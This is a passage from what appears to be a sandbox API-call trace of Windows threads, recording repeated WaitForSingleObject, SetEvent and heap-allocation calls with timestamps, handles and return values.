dwMilliseconds=0xffffffff) returned 0x0 [0081.805] SetEvent (hEvent=0x33c) returned 1 [0081.805] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.025] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.621] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.768] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.909] SetEvent (hEvent=0x33c) returned 1 [0082.909] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.032] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.554] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.822] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.050] SetEvent (hEvent=0x33c) returned 1 [0084.050] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 224 os_tid = 0x1288 [0081.752] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.805] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.025] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x180) returned 0x116320a7180 [0082.025] SetEvent (hEvent=0x33c) returned 1 [0082.025] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.620] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.768] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.909] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.032] SetEvent (hEvent=0x33c) returned 1 [0083.032] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.553] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.822] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.049] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 225 os_tid = 0x128c [0081.753] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.805] SetEvent (hEvent=0x33c) returned 1 [0081.805] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.024] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.619] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.743] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.909] SetEvent (hEvent=0x33c) returned 1 [0082.909] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.998] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.530] SetEvent (hEvent=0x33c) returned 1 [0083.530] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.822] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.050] SetEvent (hEvent=0x33c) returned 1 [0084.050] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 226 os_tid = 0x1290 [0081.753] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.805] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.025] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.622] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x180) returned 0x116320a7310 [0082.622] SetEvent (hEvent=0x33c) returned 1 [0082.622] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.768] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.908] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.998] SetEvent (hEvent=0x33c) returned 1 [0082.998] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.529] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.821] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.036] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 227 os_tid = 0x1294 [0081.753] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.951] SetEvent (hEvent=0x33c) returned 1 [0081.952] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.048] SetEvent (hEvent=0x33c) returned 1 [0082.048] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.645] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.769] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.944] SetEvent (hEvent=0x33c) returned 1 [0082.944] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.033] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.555] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.837] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.068] SetEvent (hEvent=0x33c) returned 1 [0084.068] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 228 os_tid = 0x1298 [0081.754] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.951] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.047] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.644] SetEvent (hEvent=0x33c) returned 1 [0082.644] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.769] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.943] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.033] SetEvent (hEvent=0x33c) returned 1 [0083.033] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.554] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.837] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.067] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 229 os_tid = 0x129c [0081.754] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.951] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.047] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.644] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.769] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.943] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.032] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.554] SetEvent (hEvent=0x33c) returned 1 [0083.554] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.837] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.067] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 230 os_tid = 0x12a0 [0081.754] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.951] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.047] SetEvent (hEvent=0x33c) returned 1 [0082.047] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.644] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.770] SetEvent (hEvent=0x33c) returned 1 [0082.770] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.943] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.032] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.554] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.837] SetEvent (hEvent=0x33c) returned 1 [0083.837] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.069] SetEvent (hEvent=0x33c) returned 1 [0084.069] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 231 os_tid = 0x12a4 [0081.754] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.956] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1000) returned 0x116320a6170 [0081.956] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x180) returned 0x1163028ed90 [0081.956] SetEvent (hEvent=0x33c) returned 1 [0081.956] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.063] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.687] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.818] SetEvent (hEvent=0x33c) returned 1 [0082.818] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.964] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.069] SetEvent (hEvent=0x33c) returned 1 [0083.069] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.735] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.871] SetEvent (hEvent=0x33c) returned 1 [0083.871] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 232 os_tid = 0x12a8 [0081.754] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.954] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1000) returned 0x1163205c450 [0081.954] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x2000) returned 0x1163205c450 [0081.954] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x4000) returned 0x1163204e420 [0081.954] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204e420, Size=0x8000) returned 0x11632092140 [0081.955] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1000) returned 0x1163205c450 [0081.955] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x2000) returned 0x1163205c450 [0081.955] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x4000) returned 0x1163209a150 [0081.955] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209a150, Size=0x8000) returned 0x1163209e160 [0081.956] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.063] SetEvent (hEvent=0x33c) returned 1 [0082.063] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.687] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.816] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.945] SetEvent (hEvent=0x33c) returned 1 [0082.945] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.068] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.702] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.838] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.069] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 233 os_tid = 0x12ac [0081.754] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.953] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1000) returned 0x11632082120 [0081.953] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632082120, Size=0x2000) returned 0x1163205c450 [0081.953] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x4000) returned 0x1163204e420 [0081.953] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204e420, Size=0x8000) returned 0x11632082120 [0081.953] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1000) returned 0x1163205c450 [0081.953] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x2000) returned 0x1163205c450 [0081.953] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x4000) returned 0x1163204e420 [0081.953] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204e420, Size=0x8000) returned 0x1163208a130 [0081.954] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.048] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.645] SetEvent (hEvent=0x33c) returned 1 [0082.645] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.817] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.944] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.068] SetEvent (hEvent=0x33c) returned 1 [0083.068] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.703] SetEvent (hEvent=0x33c) returned 1 [0083.703] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.869] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.446] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 234 os_tid = 0x12b0 [0081.754] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.952] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205c450, Size=0x4000) returned 0x1163204e420 [0081.952] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204e420, Size=0x8000) returned 0x1163207a110 [0081.953] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.048] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.645] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.817] SetEvent (hEvent=0x33c) returned 1 [0082.817] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.944] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.033] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.555] SetEvent (hEvent=0x33c) returned 1 [0083.555] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.838] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.447] SetEvent (hEvent=0x33c) returned 1 [0084.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 235 os_tid = 0x12b4 [0081.755] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.974] SetEvent (hEvent=0x33c) returned 1 [0081.974] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.064] SetEvent (hEvent=0x33c) returned 1 [0082.064] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.688] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.838] SetEvent (hEvent=0x33c) returned 1 [0082.838] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.966] SetEvent (hEvent=0x33c) returned 1 [0082.966] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.083] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.736] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.005] SetEvent (hEvent=0x33c) returned 1 [0084.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 236 os_tid = 0x12b8 [0081.755] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.974] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.063] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.687] SetEvent (hEvent=0x33c) returned 1 [0082.687] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.817] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.944] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.033] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.555] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.838] SetEvent (hEvent=0x33c) returned 1 [0083.838] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 237 os_tid = 0x12bc [0081.755] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.974] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.063] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.687] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.818] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.965] SetEvent (hEvent=0x33c) returned 1 [0082.965] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.069] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.736] SetEvent (hEvent=0x33c) returned 1 [0083.736] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.870] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 238 os_tid = 0x12c0 [0081.755] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.975] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x180) returned 0x1162e894b50 [0081.975] SetEvent (hEvent=0x33c) returned 1 [0081.975] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.064] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.688] SetEvent (hEvent=0x33c) returned 1 [0082.688] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.838] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.966] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.083] SetEvent (hEvent=0x33c) returned 1 [0083.083] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.736] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.870] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 239 os_tid = 0x12c4 [0081.755] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.975] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.064] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.688] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.838] SetEvent (hEvent=0x33c) returned 1 [0082.838] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.966] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.068] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.703] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.869] SetEvent (hEvent=0x33c) returned 1 [0083.869] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.448] SetEvent (hEvent=0x33c) returned 1 [0084.448] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 240 os_tid = 0x12c8 [0081.756] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.975] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.064] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.688] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.837] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.963] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.068] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.702] SetEvent (hEvent=0x33c) returned 1 [0083.702] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.837] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.069] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 241 os_tid = 0x12cc [0081.756] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.992] SetEvent (hEvent=0x33c) returned 1 [0081.992] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.081] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.708] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.861] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.979] SetEvent (hEvent=0x33c) returned 1 [0082.979] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.084] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.760] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.004] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 242 os_tid = 0x12d0 [0081.756] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.992] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.081] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.707] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.861] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.979] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.084] SetEvent (hEvent=0x33c) returned 1 [0083.084] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.760] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 243 os_tid = 0x12d4 [0081.756] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.992] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.081] SetEvent (hEvent=0x33c) returned 1 [0082.081] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.707] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.861] SetEvent (hEvent=0x33c) returned 1 [0082.862] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.979] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.083] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.735] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.869] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.446] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 244 os_tid = 0x12d8 [0081.757] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.993] SetEvent (hEvent=0x33c) returned 1 [0081.994] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.082] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.708] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.862] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.978] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.083] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.736] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x180) returned 0x116320a74a0 [0083.736] SetEvent (hEvent=0x33c) returned 1 [0083.736] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.005] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 245 os_tid = 0x12dc [0081.757] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.993] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.082] SetEvent (hEvent=0x33c) returned 1 [0082.082] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.708] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.862] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.980] SetEvent (hEvent=0x33c) returned 1 [0082.980] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.099] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.763] SetEvent (hEvent=0x33c) returned 1 [0083.763] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.037] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 246 os_tid = 0x12e0 [0081.757] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0081.993] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.081] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.708] SetEvent (hEvent=0x33c) returned 1 [0082.708] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.862] SetEvent (hEvent=0x33c) returned 1 [0082.863] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.980] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.099] SetEvent (hEvent=0x33c) returned 1 [0083.099] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0083.763] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0084.037] SetEvent (hEvent=0x33c) returned 1 [0084.037] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 247 os_tid = 0x12e4 [0081.758] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0082.010] SetEvent (hEvent=0x33c) returned 1 [0082.010] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 